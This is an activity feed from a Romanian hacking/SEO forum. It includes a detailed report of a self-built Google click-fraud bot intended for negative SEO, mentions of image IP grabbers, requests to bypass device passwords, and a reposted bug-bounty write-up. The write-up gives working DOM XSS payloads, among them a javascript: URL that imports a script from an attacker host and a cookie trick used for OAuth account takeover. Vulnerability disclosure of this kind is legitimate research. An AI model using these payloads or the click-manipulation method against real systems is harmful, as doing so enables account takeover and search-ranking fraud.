All Activity

Teoretic rezolutia ar trebui sa fie diferita la fiecare browser daca isi face treaba serviciul de antidetect. Pe langa asta fiecarei ferestre de browser ii face robotul resize cu width si height random in limita anumitor parametri, inainte de a accesa pagina Google. Ce nu am modificat pana acum a fost viewport. Cloudflare de exemplu face fingerprint si pe viewport in anumite situatii. Nu stiu daca si Google face.

Fiecare browser cu ip-ul lui. Fiecare proxy avea setata durata de viata de 24h, dar nu garanteaza nimeni ca nu se schimba mai devreme de atat.

Eu zic ca e mai degraba tracking . Daca imi aduc aminte bine din leak-urile din 2023 noiembrie pri api-ul ala erau niste chestii legate de preferintele user-ului . sunt curios ai testat de pe ip-uri random , sau acelasi ip ?

Acum 10 ani, am adunat de pe seopedia vreo 30 de membri si pe skype am planificat sa facem acelasi lucru. Am luat 2-3 site-uri, fiecare scria in google o anumita expresie, dupa un timp random fiecare intra, statea o perioada intre 20 secunde si 2 min, o parte trebuiau sa ajunga pe pagina contact, altii nu... chiar totul random incat nu am impus ceva reguli, nu mai retin, 2-3 site uri... unu stiu sigur ca era ceva f usor ca si competitie, gen "tractari auto medgidia" ceva pagina 2-3 sa fie cat mai sugestiv. In cele 3 scenarii, site urile au crescut rapid, dar intr-un timp f scurt au revenit la pozitiile initiale dupa ce noi ne am oprit. PS: vezi ca pana si rezolutia monitorului/ OS conteaza la testele astea, deja poate creezi un pattern, eu cel putin atunci am tinut cont si de asta, deasta am preferat sa fie testul facut de persoane. Era chiar atunci cand s a scos page rankul.

De cateva zile testez o metoda de a manipula rezultatele din SERP cu un clicker care acceseaza rezultatele din Google. Rezultatele sunt... ciudatele rau. Poate se gaseste cineva pe aici care a mai testat asa ceva si vrea sa isi impartaseasca experienta. Metoda: - am creeat un robot care acceseaza pagina Google, tasteaza query, da enter, misca mouse pe ecran (coordonate x,y random), da scroll, da click pe cateva rezultate (coordonate x,y random pe titlul paginii), apoi, la final, da click pe rezultatul siteului target. Tot ce inseamna miscare a mouse-ului, clicks, mouse scroll, este random pe coordonate x, y. Nu am facut inca mouse-ul sa aiba si traiectorie de tip "arc" ci doar in linii drepte. Robotul este 100% facut de mine, nu un program abuzat de sute de persoane inainte. - folosesc proxy-uri rezidentiale de Romania (sunt mai putin tavalite decat cele din US, UK etc). Urmeaza sa testez cu ip-uri de mobil orange/vodafone/telekom. - verificarea rezultatelor am facut-o atat de pe telefoane cat si de pe mai multe browsere cu sau fara istoric, cu sau fara cont logat, cu sau fara proxy-uri. Primele teste au avut scopul sa daram rezultatul folosit la teste de pe pozitiile pe care se afla initial. Urmeaza sa fac teste si pe cresterea unei pagini in SERP dupa ce pun la punct strategia. Rezultatele obtinute au fost urmatoarele: Ziua 1: pagina de test era pe pozitia 8 pe toate browserele cu care am facut verificarea initiala. Pagina de test apartine unui site foarte cunoscut, foarte vechi, cu foarte mult trafic si cu ranking foarte bun in general. Query-ul meu continea si un keyword random (sa zicem MG8320) care automat scadea volumul de cautari pe acel query la 0, ca sa nu fie afectat experimentul de o pozitie bine consolidata anterior. Dupa cateva ore pagina de test a ajuns pe pozitia 6, apoi 4. Timp de 10 ore a ramas undeva pe pozitiile 4-6, in functie de device-ul folosit, de browserele folosite si de ip-ul folosit. La fix 12 ore dupa ce am dat drumul la robot pagina a zburat pe pozitia 25 si acolo a ramas de o saptamana. Rezultat: multumitor - poate fi folosit la negative SEO. Ziua 2: o alta pagina de test era pe pozitia 6 pe un query cu cautari multe si cu o pozitie consolidata de ani de zile. Dupa 12 ore de rulat robotelul, pozitia nu s-a schimbat deloc. Rezultat: fail total. Ziua 3: o alta pagina de test era pe pozitiile 5-9 pe un query cu numar mediu de cautari. Dupa cateva ore au inceput sa apara fluctuatii mari in functie de browserul si dispozitivul folosit pentru verificari. A jonglat intre pozitia 2 si pozitia 11. Dupa 12 ore a ramas infipt pe pozitiile 6 - 9 in functie de browser, device si ip folosite pentru verificari. Rezultat: mixed. Nu pot spune ca a fost un succes, dar nu a fost nici fail, pentru ca ce am facut eu a avut impact pe termen scurt. Diferenta de la pozitia 5 la pozitia 6 nu poate fi luata in seama pentru ca fluctuatiile de acest fel sunt normale la Google. Ziua 4: o alta pagina de test era pe pozitia 2. Dupa 12 ore de rulat clickerul a ramas tot pe 2. Rezultat: fail. Am in minte posibilele cauze care duc la fail sau succes, printre ele numarandu-se calitatea proxyurilor, cat de bine consolidata a fost pozitia paginii pe acel query, detectarea browserelor mele anonime, sau pur si simplu algoritmi Google despre care nu stiu. Traiectoria cursorului nu cred ca are impact asa cum o are la serviciul recaptcha si poate fi scoasa din ecuatie. Asa ca intrebarea mea este urmatoarea: a mai facut careva dintre voi astfel de teste pe Google si a putut sa reproduca anumite rezultate, fie ca s-a dus rezultatul folosit pentru teste in jos, fie ca a crescut pe pozitii mai bune?

lol a descoperit si el sa puna un ipgrabber intro poza ?

N avem bani Zatarro

Cine cumpara? ca vand eu..

Am un mesaj dragut pentru toti hackerii:

daca nu e o problema ca oricine poate face ip grabbing aici, atunci e ok...

Multi inainte. Ti-am dat approve. Merge metoda ta noua (de cativa zeci de ani), nu stiu cu ce ajuta dar spor

Șters

Salutare la toata lumea, cu speranta ca are cineva o idee, incerc sa access un disk USB, nefolosit de peste 15 ani, de la Buffalo criptat cu Secure Manager Lock easy. Parolade decriptare date nu a fost notata din pacate nicaieri. Daca are cineva o idee ce as putea sa incerc, este binevenita. Va multumesc

@Gangjas am scris in privat

Zelensky bro?

Vezi dreacu sa nu ajungi sa ti mananci si tu flocii, a mai fost unul pe aici...

Salutari si bine v-am regasit Mi-am aminte recent de forum, ma bucura faptul ca este inca in picioare dupa atata timp. Ultima data aveam la profil "bautor de palinca" :)). O zi faina sa aveti!.

Salut, recent un unchi de-ai mei a degedat, odata cu el s-a dus si parola telefonului. Sotia lui are nevoie sa acceseze anumite documente destul de importante din telefon. Exista vreo optiune de a trece pe langa acea parola fara a-i da resetare totala? Multumesc!

Sa ma contactezi in privat.

Salutare exista pe aici fosti sau actuali tipi incarcerati si care se simt neadaptati? Putem vb daca e

Ti-am trimis mesaj privat.

Salut, si eu vreo 700 de site-uri unde pun advertoriale, daca vrei da mi mesaj privat poate colaboram cumva...

Salut, Ofer pachete SEO de advertoriale pentru campanii complete. ✔ Publicare rapidă ✔ Distribuire pe pagini de Facebook ✔ Linkuri interne la fiecare articol + linkuri externe în pachetele dedicate ✔ Raport de publicare trimis după fiecare comandă ✔ Colaborare transparentă, cu factură inclusă pentru fiecare comandă Pentru detalii, îmi poți scrie în privat.

DOM XSS: Bypassing Server-side Cookie Overwrite, Chrome innerHTML Quirk, and JSON Injection Hi everyone in this post I walk through three DOM-XSS findings I discovered while hunting on a bug-bounty program: a cookie-scoped bypass of server cookie overwrites, a Chrome innerHTML quirk, and a JSON injection that can overwrite window. Cookie-based DOM XSS: bypassing server-side cookie overwrite I was checking a React application in a bug-bounty program for DOM XSS vulnerabilities, and I looked not only code that parses query strings from the URL but also any code that parse document.cookie to extract values. On the login page I found a function (call it i()) that runs a regex against document.cookie to extract the lang cookie and returns that value; if the regex doesn’t match it falls back to returning “en”. The value returned by that function is then inserted unsanitized into a script element’s innerHTML as value for the language property inside a page object. function i() { const t = document.cookie.match(new RegExp("(^| )lang=([^;]+)")); const i = t ? t[2] : "en"; return { lang: i, }; } , l = document.createElement("script"); l.innerHTML = `\n var page = {\n config: {\n lang: "${p || i.lang}",.... }\n }`, document.head.appendChild(l); That means an low-impact XSS on a subdomain could be used to set a malicious lang cookie and, if that cookie is shared across subdomains, it would result in DOM XSS on the login page. There was a catch: the login page itself issues a Set-Cookie for lang on every visit, which would overwrite any malicious lang value you had set. I think they were aware of the XSS risk here that’s likely why the server updates the lang cookie on each request. document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/login` While looking for ways to bypass that protection, I discovered the same code runs on the signup page but unlike the login endpoint, the signup endpoint does not return a Set-Cookie for lang. That means an attacker can set a malicious lang cookie, set it to the entire domain (shared across subdomains) and set its Path=/signup; then redirecting a user to /signup will trigger the DOM XSS there. I used this XSS to steal users’ OAuth tokens and achieved an account takeover. document.cookie=`lang=vv",x:import(..),x:"; domain=.target.com; path=/signup` location="https://www.target.com/signup" DOM XSS due to Chrome InnerHTML Quirk There was an application that registered a postMessage listener but didn’t validate the sender origin. The listener looked for a specific property in incoming messages (call it x-params) and expected it to be JSON. Sometimes x-params arrived as a string, in those cases the code checked whether the string contained HTML-encoded quotes (e.g. &quot;). If it did not, the string was passed straight to JSON.parse. If it did contain HTML-encoded quotes, the code created a <p> element, set that string as the element’s innerHTML (but did not append the <p> to the document), then read the element’s innerText and passed that to JSON.parse. This was used as a way to decode HTML-encoded JSON; because the <p> was never inserted into the page which will not produce an XSS. However, this wasn’t a safe approach. Chrome has a quirk (previosuly mentioned by @terjanq in this tweet and discussed by @sudhanshur705 in this write-up) where assigning an <img> tag string to an element’s innerHTML can cause the browser to execute that tag even if the element is never appended to the DOM. That means an attacker can achieve XSS on the page with that vulnerable message listener by sending this following postMessage to it : vulnpage.postMessage( JSON.stringify({ body: { "x-params": "&quot;<img src="x">" } }), "*" ); DOM XSS using JSON Injection In this case the app was fetching an the front-end configuration from an endpoint that was responding with a JSON and it was appending the page’s querystring to that fetch call. The server reflected the querystring back into a JSON field decoded (not escaped/encoded), so by sending a query containing ” / } / ] you can break out of that field, change the JSON structure, and inject arbitrary keys and values. After the config is fetched and parsed, the app passes the JSON to a function that extracts the window field and merges its contents into the global window object. Because we can inject a window key with a location property set to a javascript: payload, for example: " ] }, "window": { "location": "javascript:import('https://attacker/eval.js')" }... When the app merges that JSON into the global window object an XSS occurs, since assigning a value to window.location triggers navigation to that value, and navigating to a javascript: URI causes the browser to execute the attacker’s code in the page. Exploit example (raw, not URL-encoded): /login?v= " ] }, "window": { "location": "javascript:malicious()", "REDACTED_2": { "REDACTED_3": { "REDACTED_4": "REDACTED_5" }, "REDACTED_6": "REDACTED_7", "REDACTED_8": "REDACTED_9", "REDACTED_10": { "REDACTED_11": { "groups": [ "redx", "red" ] } }, "REDACTED_14": "REDACTED_15", "REDACTED_16": { "groups": [ "REDACTED_17" ] } }, "REDACTED_18": { "REDACTED_19": { "REDACTED_20": "REDACTED_21", "REDACTED_22": "REDACTED_23", "REDACTED_24": "REDACTED_25" } }, "REDACTED_26": { "REDACTED_27": { "REDACTED_28": true, "REDACTED_29": true } } } } , "f": { "fffff": { "v": [ "x" Thanks for reading and i hope you liked this post, you can catch me on X: @elmehdimee. Sursa: https://elmahdi4.wordpress.com/2025/09/26/dom-xss-bypassing-server-side-cookie-overwrite-chrome-innerhtml-quirk-and-json-injection/